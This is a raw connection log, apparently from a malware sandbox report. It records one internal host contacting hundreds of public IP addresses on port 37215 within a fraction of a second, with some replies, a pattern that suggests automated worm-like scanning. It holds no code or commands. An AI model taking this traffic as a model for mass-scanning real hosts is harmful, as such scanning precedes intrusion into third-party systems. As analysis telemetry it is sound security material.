Aug 1, 2024 15:34:57.958273888 CEST	44670	37215	192.168.2.14	12.5.237.45
Aug 1, 2024 15:34:57.958276033 CEST	36058	37215	192.168.2.14	197.238.214.184
Aug 1, 2024 15:34:57.958292961 CEST	55860	37215	192.168.2.14	157.186.91.72
Aug 1, 2024 15:34:57.958307028 CEST	47942	37215	192.168.2.14	41.34.162.72
Aug 1, 2024 15:34:57.958313942 CEST	49764	37215	192.168.2.14	197.6.247.128
Aug 1, 2024 15:34:57.958321095 CEST	47206	37215	192.168.2.14	41.124.231.62
Aug 1, 2024 15:34:57.958334923 CEST	34188	37215	192.168.2.14	41.3.255.40
Aug 1, 2024 15:34:57.958357096 CEST	53880	37215	192.168.2.14	157.3.231.133
Aug 1, 2024 15:34:57.958364964 CEST	37860	37215	192.168.2.14	157.22.48.45
Aug 1, 2024 15:34:57.958375931 CEST	36092	37215	192.168.2.14	157.239.173.146
Aug 1, 2024 15:34:57.958378077 CEST	60118	37215	192.168.2.14	157.139.217.248
Aug 1, 2024 15:34:57.958389997 CEST	39132	37215	192.168.2.14	41.243.30.216
Aug 1, 2024 15:34:57.958400965 CEST	57968	37215	192.168.2.14	157.124.238.97
Aug 1, 2024 15:34:57.958412886 CEST	60860	37215	192.168.2.14	135.171.11.223
Aug 1, 2024 15:34:57.958424091 CEST	41632	37215	192.168.2.14	157.143.77.8
Aug 1, 2024 15:34:57.958427906 CEST	54344	37215	192.168.2.14	41.112.168.9
Aug 1, 2024 15:34:57.958441019 CEST	60482	37215	192.168.2.14	197.253.172.111
Aug 1, 2024 15:34:57.958441973 CEST	37215	44990	58.206.132.145	192.168.2.14
Aug 1, 2024 15:34:57.958453894 CEST	42674	37215	192.168.2.14	197.139.84.49
Aug 1, 2024 15:34:57.958463907 CEST	45244	37215	192.168.2.14	41.185.100.117
Aug 1, 2024 15:34:57.958477974 CEST	44990	37215	192.168.2.14	58.206.132.145
Aug 1, 2024 15:34:57.958484888 CEST	50912	37215	192.168.2.14	157.97.41.229
Aug 1, 2024 15:34:57.958498001 CEST	49010	37215	192.168.2.14	197.101.242.74
Aug 1, 2024 15:34:57.958522081 CEST	56238	37215	192.168.2.14	157.23.152.245
Aug 1, 2024 15:34:57.958524942 CEST	44804	37215	192.168.2.14	197.128.51.138
Aug 1, 2024 15:34:57.958549976 CEST	52190	37215	192.168.2.14	41.26.100.186
Aug 1, 2024 15:34:57.958556890 CEST	32926	37215	192.168.2.14	197.15.213.209
Aug 1, 2024 15:34:57.958570957 CEST	37384	37215	192.168.2.14	157.16.45.114
Aug 1, 2024 15:34:57.958570957 CEST	53504	37215	192.168.2.14	157.178.58.224
Aug 1, 2024 15:34:57.958583117 CEST	40542	37215	192.168.2.14	197.91.165.77
Aug 1, 2024 15:34:57.958586931 CEST	45042	37215	192.168.2.14	157.141.216.101
Aug 1, 2024 15:34:57.958594084 CEST	42852	37215	192.168.2.14	197.194.38.163
Aug 1, 2024 15:34:57.958600044 CEST	34698	37215	192.168.2.14	157.253.143.41
Aug 1, 2024 15:34:57.958620071 CEST	34110	37215	192.168.2.14	157.6.154.255
Aug 1, 2024 15:34:57.958632946 CEST	60066	37215	192.168.2.14	41.38.190.41
Aug 1, 2024 15:34:57.958642006 CEST	39356	37215	192.168.2.14	197.113.21.92
Aug 1, 2024 15:34:57.958652020 CEST	34450	37215	192.168.2.14	157.237.238.8
Aug 1, 2024 15:34:57.958655119 CEST	32902	37215	192.168.2.14	150.202.107.179
Aug 1, 2024 15:34:57.958671093 CEST	54272	37215	192.168.2.14	41.72.112.32
Aug 1, 2024 15:34:57.958683968 CEST	57886	37215	192.168.2.14	41.76.214.25
Aug 1, 2024 15:34:57.958698034 CEST	37282	37215	192.168.2.14	89.158.201.188
Aug 1, 2024 15:34:57.958709955 CEST	34186	37215	192.168.2.14	41.193.128.149
Aug 1, 2024 15:34:57.958724976 CEST	43696	37215	192.168.2.14	177.117.141.141
Aug 1, 2024 15:34:57.958736897 CEST	35616	37215	192.168.2.14	197.249.88.214
Aug 1, 2024 15:34:57.958750010 CEST	42838	37215	192.168.2.14	157.143.154.46
Aug 1, 2024 15:34:57.958750010 CEST	42784	37215	192.168.2.14	122.184.139.106
Aug 1, 2024 15:34:57.958765984 CEST	41254	37215	192.168.2.14	197.61.148.16
Aug 1, 2024 15:34:57.958765984 CEST	46892	37215	192.168.2.14	157.172.58.12
Aug 1, 2024 15:34:57.958777905 CEST	35848	37215	192.168.2.14	117.187.225.22
Aug 1, 2024 15:34:57.958796978 CEST	50606	37215	192.168.2.14	157.142.243.64
Aug 1, 2024 15:34:57.958796978 CEST	57316	37215	192.168.2.14	197.4.230.80
Aug 1, 2024 15:34:57.958808899 CEST	59624	37215	192.168.2.14	86.145.59.248
Aug 1, 2024 15:34:57.958817959 CEST	35032	37215	192.168.2.14	41.53.153.51
Aug 1, 2024 15:34:57.958822012 CEST	39362	37215	192.168.2.14	197.115.108.30
Aug 1, 2024 15:34:57.958830118 CEST	44470	37215	192.168.2.14	157.111.86.94
Aug 1, 2024 15:34:57.958844900 CEST	53942	37215	192.168.2.14	157.252.45.45
Aug 1, 2024 15:34:57.958853006 CEST	35866	37215	192.168.2.14	157.55.99.228
Aug 1, 2024 15:34:57.958863020 CEST	54428	37215	192.168.2.14	105.61.187.232
Aug 1, 2024 15:34:57.958885908 CEST	33478	37215	192.168.2.14	157.116.105.171
Aug 1, 2024 15:34:57.958887100 CEST	43408	37215	192.168.2.14	157.37.145.138
Aug 1, 2024 15:34:57.958894968 CEST	47688	37215	192.168.2.14	197.115.117.73
Aug 1, 2024 15:34:57.958905935 CEST	43028	37215	192.168.2.14	147.57.45.29
Aug 1, 2024 15:34:57.958913088 CEST	46584	37215	192.168.2.14	197.224.223.95
Aug 1, 2024 15:34:57.958919048 CEST	41010	37215	192.168.2.14	41.119.64.108
Aug 1, 2024 15:34:57.958930969 CEST	47630	37215	192.168.2.14	41.235.161.222
Aug 1, 2024 15:34:57.958933115 CEST	34396	37215	192.168.2.14	41.242.194.188
Aug 1, 2024 15:34:57.958951950 CEST	53946	37215	192.168.2.14	41.246.219.118
Aug 1, 2024 15:34:57.958962917 CEST	35174	37215	192.168.2.14	197.92.230.23
Aug 1, 2024 15:34:57.958975077 CEST	49672	37215	192.168.2.14	157.153.88.99
Aug 1, 2024 15:34:57.958993912 CEST	54052	37215	192.168.2.14	9.105.10.4
Aug 1, 2024 15:34:57.958997965 CEST	34936	37215	192.168.2.14	79.196.100.247
Aug 1, 2024 15:34:57.959007025 CEST	39210	37215	192.168.2.14	41.243.3.39
Aug 1, 2024 15:34:57.959021091 CEST	36162	37215	192.168.2.14	197.69.41.146
Aug 1, 2024 15:34:57.959029913 CEST	35996	37215	192.168.2.14	162.197.87.219
Aug 1, 2024 15:34:57.959048986 CEST	36728	37215	192.168.2.14	157.84.64.80
Aug 1, 2024 15:34:57.959059000 CEST	59558	37215	192.168.2.14	200.72.248.194
Aug 1, 2024 15:34:57.959069967 CEST	58682	37215	192.168.2.14	115.207.220.252
Aug 1, 2024 15:34:57.959075928 CEST	47450	37215	192.168.2.14	197.117.183.255
Aug 1, 2024 15:34:57.959089994 CEST	44322	37215	192.168.2.14	197.17.154.0
Aug 1, 2024 15:34:57.959106922 CEST	58414	37215	192.168.2.14	41.229.34.33
Aug 1, 2024 15:34:57.959106922 CEST	47634	37215	192.168.2.14	41.181.87.70
Aug 1, 2024 15:34:57.959112883 CEST	40012	37215	192.168.2.14	116.122.159.73
Aug 1, 2024 15:34:57.959125042 CEST	52726	37215	192.168.2.14	197.159.91.59
Aug 1, 2024 15:34:57.959135056 CEST	57756	37215	192.168.2.14	157.147.34.89
Aug 1, 2024 15:34:57.959151983 CEST	43630	37215	192.168.2.14	157.86.186.82
Aug 1, 2024 15:34:57.959165096 CEST	45678	37215	192.168.2.14	210.206.245.32
Aug 1, 2024 15:34:57.959167957 CEST	37215	37294	193.62.208.172	192.168.2.14
Aug 1, 2024 15:34:57.959177971 CEST	44562	37215	192.168.2.14	41.173.175.247
Aug 1, 2024 15:34:57.959181070 CEST	51770	37215	192.168.2.14	157.222.169.28
Aug 1, 2024 15:34:57.959197044 CEST	53618	37215	192.168.2.14	41.114.57.144
Aug 1, 2024 15:34:57.959206104 CEST	37294	37215	192.168.2.14	193.62.208.172
Aug 1, 2024 15:34:57.959214926 CEST	51818	37215	192.168.2.14	157.214.156.161
Aug 1, 2024 15:34:57.959218979 CEST	38666	37215	192.168.2.14	197.90.214.116
Aug 1, 2024 15:34:57.959224939 CEST	34126	37215	192.168.2.14	41.37.117.100
Aug 1, 2024 15:34:57.959232092 CEST	32782	37215	192.168.2.14	157.36.160.152
Aug 1, 2024 15:34:57.959252119 CEST	43132	37215	192.168.2.14	197.219.253.245
Aug 1, 2024 15:34:57.959254026 CEST	45970	37215	192.168.2.14	157.84.4.1
Aug 1, 2024 15:34:57.959270954 CEST	42938	37215	192.168.2.14	41.88.166.205
Aug 1, 2024 15:34:57.959275007 CEST	38358	37215	192.168.2.14	173.114.107.169
Aug 1, 2024 15:34:57.959284067 CEST	48016	37215	192.168.2.14	197.76.83.220
Aug 1, 2024 15:34:57.959294081 CEST	47554	37215	192.168.2.14	152.232.93.173
Aug 1, 2024 15:34:57.959302902 CEST	59010	37215	192.168.2.14	157.74.54.45
Aug 1, 2024 15:34:57.959316015 CEST	37726	37215	192.168.2.14	119.247.203.93
Aug 1, 2024 15:34:57.959321022 CEST	45412	37215	192.168.2.14	41.121.204.245
Aug 1, 2024 15:34:57.959331036 CEST	58400	37215	192.168.2.14	157.143.230.35
Aug 1, 2024 15:34:57.959342003 CEST	50822	37215	192.168.2.14	149.176.208.237
Aug 1, 2024 15:34:57.959352016 CEST	32954	37215	192.168.2.14	41.85.120.196
Aug 1, 2024 15:34:57.959361076 CEST	48492	37215	192.168.2.14	99.6.122.63
Aug 1, 2024 15:34:57.959386110 CEST	45212	37215	192.168.2.14	121.244.99.184
Aug 1, 2024 15:34:57.959386110 CEST	47268	37215	192.168.2.14	157.21.7.82
Aug 1, 2024 15:34:57.959394932 CEST	44120	37215	192.168.2.14	197.229.191.118
Aug 1, 2024 15:34:57.959399939 CEST	52244	37215	192.168.2.14	76.134.1.80
Aug 1, 2024 15:34:57.959475040 CEST	45016	37215	192.168.2.14	136.240.75.168
Aug 1, 2024 15:34:57.959911108 CEST	55512	37215	192.168.2.14	41.170.96.15
Aug 1, 2024 15:34:57.959918022 CEST	37215	52222	157.195.114.238	192.168.2.14
Aug 1, 2024 15:34:57.959953070 CEST	37215	36586	200.156.103.209	192.168.2.14
Aug 1, 2024 15:34:57.960243940 CEST	37215	46778	27.57.102.199	192.168.2.14
Aug 1, 2024 15:34:57.960333109 CEST	37215	40864	41.150.28.211	192.168.2.14
Aug 1, 2024 15:34:57.960593939 CEST	37215	42200	41.103.184.180	192.168.2.14
Aug 1, 2024 15:34:57.960606098 CEST	37215	36768	157.234.123.41	192.168.2.14
Aug 1, 2024 15:34:57.960628033 CEST	52428	37215	192.168.2.14	197.104.19.50
Aug 1, 2024 15:34:57.960690975 CEST	37215	56702	197.5.0.94	192.168.2.14
Aug 1, 2024 15:34:57.960711956 CEST	37215	53584	197.51.113.103	192.168.2.14
Aug 1, 2024 15:34:57.960941076 CEST	37215	59660	197.14.237.171	192.168.2.14
Aug 1, 2024 15:34:57.960984945 CEST	37215	45172	102.97.63.75	192.168.2.14
Aug 1, 2024 15:34:57.961257935 CEST	37215	55958	41.146.96.4	192.168.2.14
Aug 1, 2024 15:34:57.961268902 CEST	37215	35962	137.123.9.9	192.168.2.14
Aug 1, 2024 15:34:57.961280107 CEST	37215	44670	12.5.237.45	192.168.2.14
Aug 1, 2024 15:34:57.961293936 CEST	37215	42208	41.172.52.42	192.168.2.14
Aug 1, 2024 15:34:57.961304903 CEST	37215	36058	197.238.214.184	192.168.2.14
Aug 1, 2024 15:34:57.961317062 CEST	37215	55860	157.186.91.72	192.168.2.14
Aug 1, 2024 15:34:57.961328030 CEST	37215	34188	41.3.255.40	192.168.2.14
Aug 1, 2024 15:34:57.961345911 CEST	37215	47942	41.34.162.72	192.168.2.14
Aug 1, 2024 15:34:57.961357117 CEST	37215	49764	197.6.247.128	192.168.2.14
Aug 1, 2024 15:34:57.961368084 CEST	37215	47206	41.124.231.62	192.168.2.14
Aug 1, 2024 15:34:57.961410999 CEST	37944	37215	192.168.2.14	157.130.3.45
Aug 1, 2024 15:34:57.961457014 CEST	37215	53880	157.3.231.133	192.168.2.14
Aug 1, 2024 15:34:57.961483955 CEST	37215	37860	157.22.48.45	192.168.2.14
Aug 1, 2024 15:34:57.961538076 CEST	37215	36092	157.239.173.146	192.168.2.14
Aug 1, 2024 15:34:57.961587906 CEST	37215	60118	157.139.217.248	192.168.2.14
Aug 1, 2024 15:34:57.961653948 CEST	37215	39132	41.243.30.216	192.168.2.14
Aug 1, 2024 15:34:57.961699963 CEST	37215	57968	157.124.238.97	192.168.2.14
Aug 1, 2024 15:34:57.961792946 CEST	37215	60860	135.171.11.223	192.168.2.14
Aug 1, 2024 15:34:57.961818933 CEST	37215	41632	157.143.77.8	192.168.2.14
Aug 1, 2024 15:34:57.961942911 CEST	37215	54344	41.112.168.9	192.168.2.14
Aug 1, 2024 15:34:57.962071896 CEST	37215	60482	197.253.172.111	192.168.2.14
Aug 1, 2024 15:34:57.962198019 CEST	45878	37215	192.168.2.14	160.44.142.45
Aug 1, 2024 15:34:57.962274075 CEST	37215	42674	197.139.84.49	192.168.2.14
Aug 1, 2024 15:34:57.962353945 CEST	37215	45244	41.185.100.117	192.168.2.14
Aug 1, 2024 15:34:57.962707996 CEST	37215	50912	157.97.41.229	192.168.2.14
Aug 1, 2024 15:34:57.962800980 CEST	37215	49010	197.101.242.74	192.168.2.14
Aug 1, 2024 15:34:57.962919950 CEST	37215	56238	157.23.152.245	192.168.2.14
Aug 1, 2024 15:34:57.962920904 CEST	49556	37215	192.168.2.14	157.29.131.245
Aug 1, 2024 15:34:57.962933064 CEST	37215	44804	197.128.51.138	192.168.2.14
Aug 1, 2024 15:34:57.963097095 CEST	37215	37384	157.16.45.114	192.168.2.14
Aug 1, 2024 15:34:57.963123083 CEST	37215	52190	41.26.100.186	192.168.2.14
Aug 1, 2024 15:34:57.963232040 CEST	37215	32926	197.15.213.209	192.168.2.14
Aug 1, 2024 15:34:57.963253975 CEST	37215	53504	157.178.58.224	192.168.2.14
Aug 1, 2024 15:34:57.963355064 CEST	37215	40542	197.91.165.77	192.168.2.14
Aug 1, 2024 15:34:57.963366985 CEST	37215	45042	157.141.216.101	192.168.2.14
Aug 1, 2024 15:34:57.963433027 CEST	37215	34698	157.253.143.41	192.168.2.14
Aug 1, 2024 15:34:57.963444948 CEST	37215	42852	197.194.38.163	192.168.2.14
Aug 1, 2024 15:34:57.963560104 CEST	37215	34110	157.6.154.255	192.168.2.14
Aug 1, 2024 15:34:57.963573933 CEST	37215	60066	41.38.190.41	192.168.2.14
Aug 1, 2024 15:34:57.963661909 CEST	40284	37215	192.168.2.14	197.197.246.96
Aug 1, 2024 15:34:57.963692904 CEST	37215	39356	197.113.21.92	192.168.2.14
Aug 1, 2024 15:34:57.963705063 CEST	37215	34450	157.237.238.8	192.168.2.14
Aug 1, 2024 15:34:57.963778973 CEST	37215	32902	150.202.107.179	192.168.2.14
Aug 1, 2024 15:34:57.963840008 CEST	37215	54272	41.72.112.32	192.168.2.14
Aug 1, 2024 15:34:57.963852882 CEST	37215	57886	41.76.214.25	192.168.2.14
Aug 1, 2024 15:34:57.963886023 CEST	37215	37282	89.158.201.188	192.168.2.14
Aug 1, 2024 15:34:57.963973045 CEST	37215	34186	41.193.128.149	192.168.2.14
Aug 1, 2024 15:34:57.963987112 CEST	37215	43696	177.117.141.141	192.168.2.14
Aug 1, 2024 15:34:57.964076042 CEST	37215	35616	197.249.88.214	192.168.2.14
Aug 1, 2024 15:34:57.964087963 CEST	37215	42838	157.143.154.46	192.168.2.14
Aug 1, 2024 15:34:57.964153051 CEST	37215	42784	122.184.139.106	192.168.2.14
Aug 1, 2024 15:34:57.964174032 CEST	37215	41254	197.61.148.16	192.168.2.14
Aug 1, 2024 15:34:57.964276075 CEST	37215	46892	157.172.58.12	192.168.2.14
Aug 1, 2024 15:34:57.964288950 CEST	37215	35848	117.187.225.22	192.168.2.14
Aug 1, 2024 15:34:57.964354038 CEST	37215	50606	157.142.243.64	192.168.2.14
Aug 1, 2024 15:34:57.964366913 CEST	51826	37215	192.168.2.14	157.112.241.123
Aug 1, 2024 15:34:57.964395046 CEST	37215	57316	197.4.230.80	192.168.2.14
Aug 1, 2024 15:34:57.964430094 CEST	37215	59624	86.145.59.248	192.168.2.14
Aug 1, 2024 15:34:57.964466095 CEST	37215	35032	41.53.153.51	192.168.2.14
Aug 1, 2024 15:34:57.964524031 CEST	37215	39362	197.115.108.30	192.168.2.14
Aug 1, 2024 15:34:57.964570999 CEST	37215	44470	157.111.86.94	192.168.2.14
Aug 1, 2024 15:34:57.964652061 CEST	37215	53942	157.252.45.45	192.168.2.14
Aug 1, 2024 15:34:57.964672089 CEST	37215	35866	157.55.99.228	192.168.2.14
Aug 1, 2024 15:34:57.964756966 CEST	37215	54428	105.61.187.232	192.168.2.14
Aug 1, 2024 15:34:57.964770079 CEST	37215	43408	157.37.145.138	192.168.2.14
Aug 1, 2024 15:34:57.964840889 CEST	37215	33478	157.116.105.171	192.168.2.14
Aug 1, 2024 15:34:57.964853048 CEST	37215	47688	197.115.117.73	192.168.2.14
Aug 1, 2024 15:34:57.964889050 CEST	37215	43028	147.57.45.29	192.168.2.14
Aug 1, 2024 15:34:57.964956999 CEST	37215	46584	197.224.223.95	192.168.2.14
Aug 1, 2024 15:34:57.965003014 CEST	37215	41010	41.119.64.108	192.168.2.14
Aug 1, 2024 15:34:57.965054989 CEST	37215	47630	41.235.161.222	192.168.2.14
Aug 1, 2024 15:34:57.965111017 CEST	37215	34396	41.242.194.188	192.168.2.14
Aug 1, 2024 15:34:57.965195894 CEST	38588	37215	192.168.2.14	157.193.29.198
Aug 1, 2024 15:34:57.965236902 CEST	37215	53946	41.246.219.118	192.168.2.14
Aug 1, 2024 15:34:57.965425014 CEST	37215	35174	197.92.230.23	192.168.2.14
Aug 1, 2024 15:34:57.965439081 CEST	37215	49672	157.153.88.99	192.168.2.14
Aug 1, 2024 15:34:57.965559006 CEST	37215	54052	9.105.10.4	192.168.2.14
Aug 1, 2024 15:34:57.965610027 CEST	37215	34936	79.196.100.247	192.168.2.14
Aug 1, 2024 15:34:57.965620995 CEST	37215	39210	41.243.3.39	192.168.2.14
Aug 1, 2024 15:34:57.965634108 CEST	37215	36162	197.69.41.146	192.168.2.14
Aug 1, 2024 15:34:57.965737104 CEST	37215	35996	162.197.87.219	192.168.2.14
Aug 1, 2024 15:34:57.965825081 CEST	37215	36728	157.84.64.80	192.168.2.14
Aug 1, 2024 15:34:57.965836048 CEST	37215	59558	200.72.248.194	192.168.2.14
Aug 1, 2024 15:34:57.965878010 CEST	37215	58682	115.207.220.252	192.168.2.14
Aug 1, 2024 15:34:57.965943098 CEST	37215	47450	197.117.183.255	192.168.2.14
Aug 1, 2024 15:34:57.965954065 CEST	37215	44322	197.17.154.0	192.168.2.14
Aug 1, 2024 15:34:57.965996981 CEST	37215	58414	41.229.34.33	192.168.2.14
Aug 1, 2024 15:34:57.966048002 CEST	37215	47634	41.181.87.70	192.168.2.14
Aug 1, 2024 15:34:57.966100931 CEST	52058	37215	192.168.2.14	197.67.216.45
Aug 1, 2024 15:34:57.966108084 CEST	37215	40012	116.122.159.73	192.168.2.14
Aug 1, 2024 15:34:57.966161013 CEST	37215	52726	197.159.91.59	192.168.2.14
Aug 1, 2024 15:34:57.966248035 CEST	37215	57756	157.147.34.89	192.168.2.14
Aug 1, 2024 15:34:57.966300011 CEST	37215	43630	157.86.186.82	192.168.2.14
Aug 1, 2024 15:34:57.966350079 CEST	37215	45678	210.206.245.32	192.168.2.14
Aug 1, 2024 15:34:57.966398954 CEST	37215	44562	41.173.175.247	192.168.2.14
Aug 1, 2024 15:34:57.966485977 CEST	37215	51770	157.222.169.28	192.168.2.14
Aug 1, 2024 15:34:57.966495991 CEST	37215	53618	41.114.57.144	192.168.2.14
Aug 1, 2024 15:34:57.966548920 CEST	37215	51818	157.214.156.161	192.168.2.14
Aug 1, 2024 15:34:57.966559887 CEST	37215	38666	197.90.214.116	192.168.2.14
Aug 1, 2024 15:34:57.966635942 CEST	37215	34126	41.37.117.100	192.168.2.14
Aug 1, 2024 15:34:57.966646910 CEST	37215	32782	157.36.160.152	192.168.2.14
Aug 1, 2024 15:34:57.966725111 CEST	37215	45970	157.84.4.1	192.168.2.14
Aug 1, 2024 15:34:57.966734886 CEST	37215	43132	197.219.253.245	192.168.2.14
Aug 1, 2024 15:34:57.966756105 CEST	37215	42938	41.88.166.205	192.168.2.14
Aug 1, 2024 15:34:57.966789007 CEST	37215	38358	173.114.107.169	192.168.2.14
Aug 1, 2024 15:34:57.966886044 CEST	48430	37215	192.168.2.14	41.70.98.150
Aug 1, 2024 15:34:57.966897011 CEST	37215	48016	197.76.83.220	192.168.2.14
Aug 1, 2024 15:34:57.966907978 CEST	37215	47554	152.232.93.173	192.168.2.14
Aug 1, 2024 15:34:57.966953039 CEST	37215	59010	157.74.54.45	192.168.2.14
Aug 1, 2024 15:34:57.966978073 CEST	37215	37726	119.247.203.93	192.168.2.14
Aug 1, 2024 15:34:57.967022896 CEST	37215	45412	41.121.204.245	192.168.2.14
Aug 1, 2024 15:34:57.967082977 CEST	37215	58400	157.143.230.35	192.168.2.14
Aug 1, 2024 15:34:57.967149019 CEST	37215	50822	149.176.208.237	192.168.2.14
Aug 1, 2024 15:34:57.967202902 CEST	37215	32954	41.85.120.196	192.168.2.14
Aug 1, 2024 15:34:57.967246056 CEST	37215	48492	99.6.122.63	192.168.2.14
Aug 1, 2024 15:34:57.967291117 CEST	37215	47268	157.21.7.82	192.168.2.14
Aug 1, 2024 15:34:57.967344046 CEST	37215	45212	121.244.99.184	192.168.2.14
Aug 1, 2024 15:34:57.967355013 CEST	37215	44120	197.229.191.118	192.168.2.14
Aug 1, 2024 15:34:57.967621088 CEST	53874	37215	192.168.2.14	157.21.242.107
Aug 1, 2024 15:34:57.967654943 CEST	37215	52244	76.134.1.80	192.168.2.14
Aug 1, 2024 15:34:57.967736006 CEST	37215	45016	136.240.75.168	192.168.2.14
Aug 1, 2024 15:34:57.968389988 CEST	41148	37215	192.168.2.14	41.168.230.58
Aug 1, 2024 15:34:57.969130993 CEST	53284	37215	192.168.2.14	184.119.116.174
Aug 1, 2024 15:34:57.969923019 CEST	34438	37215	192.168.2.14	59.146.160.181
Aug 1, 2024 15:34:57.970460892 CEST	37215	55512	41.170.96.15	192.168.2.14
Aug 1, 2024 15:34:57.970473051 CEST	37215	52428	197.104.19.50	192.168.2.14
Aug 1, 2024 15:34:57.970484018 CEST	37215	37944	157.130.3.45	192.168.2.14
Aug 1, 2024 15:34:57.970494986 CEST	37215	45878	160.44.142.45	192.168.2.14
Aug 1, 2024 15:34:57.970504999 CEST	37215	49556	157.29.131.245	192.168.2.14
Aug 1, 2024 15:34:57.970511913 CEST	37215	40284	197.197.246.96	192.168.2.14
Aug 1, 2024 15:34:57.970521927 CEST	37215	51826	157.112.241.123	192.168.2.14
Aug 1, 2024 15:34:57.970524073 CEST	37944	37215	192.168.2.14	157.130.3.45
Aug 1, 2024 15:34:57.970525026 CEST	52428	37215	192.168.2.14	197.104.19.50
Aug 1, 2024 15:34:57.970530033 CEST	55512	37215	192.168.2.14	41.170.96.15
Aug 1, 2024 15:34:57.970530033 CEST	45878	37215	192.168.2.14	160.44.142.45
Aug 1, 2024 15:34:57.970531940 CEST	37215	38588	157.193.29.198	192.168.2.14
Aug 1, 2024 15:34:57.970532894 CEST	49556	37215	192.168.2.14	157.29.131.245
Aug 1, 2024 15:34:57.970546961 CEST	40284	37215	192.168.2.14	197.197.246.96
Aug 1, 2024 15:34:57.970566034 CEST	51826	37215	192.168.2.14	157.112.241.123
Aug 1, 2024 15:34:57.970566034 CEST	38588	37215	192.168.2.14	157.193.29.198
Aug 1, 2024 15:34:57.970675945 CEST	40232	37215	192.168.2.14	197.52.145.226
Aug 1, 2024 15:34:57.971203089 CEST	37215	52058	197.67.216.45	192.168.2.14
Aug 1, 2024 15:34:57.971268892 CEST	52058	37215	192.168.2.14	197.67.216.45
Aug 1, 2024 15:34:57.971401930 CEST	40138	37215	192.168.2.14	70.45.88.250
Aug 1, 2024 15:34:57.971750021 CEST	37215	48430	41.70.98.150	192.168.2.14
Aug 1, 2024 15:34:57.971791983 CEST	48430	37215	192.168.2.14	41.70.98.150
Aug 1, 2024 15:34:57.972213984 CEST	46336	37215	192.168.2.14	197.241.187.121
Aug 1, 2024 15:34:57.972467899 CEST	37215	53874	157.21.242.107	192.168.2.14
Aug 1, 2024 15:34:57.972507954 CEST	53874	37215	192.168.2.14	157.21.242.107
Aug 1, 2024 15:34:57.973124981 CEST	37714	37215	192.168.2.14	197.233.134.99
Aug 1, 2024 15:34:57.973314047 CEST	37215	41148	41.168.230.58	192.168.2.14
Aug 1, 2024 15:34:57.973361969 CEST	41148	37215	192.168.2.14	41.168.230.58
Aug 1, 2024 15:34:57.974040985 CEST	49846	37215	192.168.2.14	157.234.233.14
Aug 1, 2024 15:34:57.974708080 CEST	37215	53284	184.119.116.174	192.168.2.14
Aug 1, 2024 15:34:57.974761963 CEST	53284	37215	192.168.2.14	184.119.116.174
Aug 1, 2024 15:34:57.974786997 CEST	53872	37215	192.168.2.14	41.150.3.88
Aug 1, 2024 15:34:57.974800110 CEST	37215	34438	59.146.160.181	192.168.2.14
Aug 1, 2024 15:34:57.974845886 CEST	34438	37215	192.168.2.14	59.146.160.181
Aug 1, 2024 15:34:57.975532055 CEST	55942	37215	192.168.2.14	92.176.125.168
Aug 1, 2024 15:34:57.975816965 CEST	37215	40232	197.52.145.226	192.168.2.14
Aug 1, 2024 15:34:57.975864887 CEST	40232	37215	192.168.2.14	197.52.145.226
Aug 1, 2024 15:34:57.976413965 CEST	37215	40138	70.45.88.250	192.168.2.14
Aug 1, 2024 15:34:57.976455927 CEST	40138	37215	192.168.2.14	70.45.88.250
Aug 1, 2024 15:34:57.976603031 CEST	41128	37215	192.168.2.14	76.79.65.175
Aug 1, 2024 15:34:57.977289915 CEST	51796	37215	192.168.2.14	157.67.94.230
Aug 1, 2024 15:34:57.977472067 CEST	37215	46336	197.241.187.121	192.168.2.14
Aug 1, 2024 15:34:57.977510929 CEST	46336	37215	192.168.2.14	197.241.187.121
Aug 1, 2024 15:34:57.977999926 CEST	57102	37215	192.168.2.14	83.124.132.190
Aug 1, 2024 15:34:57.978203058 CEST	37215	37714	197.233.134.99	192.168.2.14
Aug 1, 2024 15:34:57.978243113 CEST	37714	37215	192.168.2.14	197.233.134.99
Aug 1, 2024 15:34:57.978714943 CEST	37286	37215	192.168.2.14	197.220.34.9
Aug 1, 2024 15:34:57.979096889 CEST	37215	49846	157.234.233.14	192.168.2.14
Aug 1, 2024 15:34:57.979140997 CEST	49846	37215	192.168.2.14	157.234.233.14
Aug 1, 2024 15:34:57.979439020 CEST	34030	37215	192.168.2.14	197.74.128.205
Aug 1, 2024 15:34:57.979682922 CEST	37215	53872	41.150.3.88	192.168.2.14
Aug 1, 2024 15:34:57.979723930 CEST	53872	37215	192.168.2.14	41.150.3.88
Aug 1, 2024 15:34:57.980190039 CEST	58496	37215	192.168.2.14	197.38.139.56
Aug 1, 2024 15:34:57.980763912 CEST	37215	55942	92.176.125.168	192.168.2.14
Aug 1, 2024 15:34:57.980808973 CEST	55942	37215	192.168.2.14	92.176.125.168
Aug 1, 2024 15:34:57.980962038 CEST	45084	37215	192.168.2.14	157.185.146.40
Aug 1, 2024 15:34:57.981528044 CEST	37215	41128	76.79.65.175	192.168.2.14
Aug 1, 2024 15:34:57.981570959 CEST	41128	37215	192.168.2.14	76.79.65.175
Aug 1, 2024 15:34:57.981678963 CEST	37520	37215	192.168.2.14	157.46.42.17
Aug 1, 2024 15:34:57.982352018 CEST	37215	51796	157.67.94.230	192.168.2.14
Aug 1, 2024 15:34:57.982397079 CEST	51796	37215	192.168.2.14	157.67.94.230
Aug 1, 2024 15:34:57.982472897 CEST	60706	37215	192.168.2.14	157.175.27.16
Aug 1, 2024 15:34:57.983206034 CEST	41812	37215	192.168.2.14	208.67.56.114
Aug 1, 2024 15:34:57.983305931 CEST	37215	57102	83.124.132.190	192.168.2.14
Aug 1, 2024 15:34:57.983347893 CEST	57102	37215	192.168.2.14	83.124.132.190
Aug 1, 2024 15:34:57.983586073 CEST	37215	37286	197.220.34.9	192.168.2.14
Aug 1, 2024 15:34:57.983619928 CEST	37286	37215	192.168.2.14	197.220.34.9
Aug 1, 2024 15:34:57.983930111 CEST	44610	37215	192.168.2.14	9.50.79.142
Aug 1, 2024 15:34:57.984443903 CEST	37215	34030	197.74.128.205	192.168.2.14
Aug 1, 2024 15:34:57.984499931 CEST	34030	37215	192.168.2.14	197.74.128.205
Aug 1, 2024 15:34:57.984682083 CEST	60664	37215	192.168.2.14	197.200.154.27
Aug 1, 2024 15:34:57.985197067 CEST	37215	58496	197.38.139.56	192.168.2.14
Aug 1, 2024 15:34:57.985240936 CEST	58496	37215	192.168.2.14	197.38.139.56
Aug 1, 2024 15:34:57.985826969 CEST	37215	45084	157.185.146.40	192.168.2.14
Aug 1, 2024 15:34:57.985873938 CEST	45084	37215	192.168.2.14	157.185.146.40
Aug 1, 2024 15:34:57.986025095 CEST	57054	37215	192.168.2.14	197.173.88.168
Aug 1, 2024 15:34:57.986833096 CEST	37215	37520	157.46.42.17	192.168.2.14
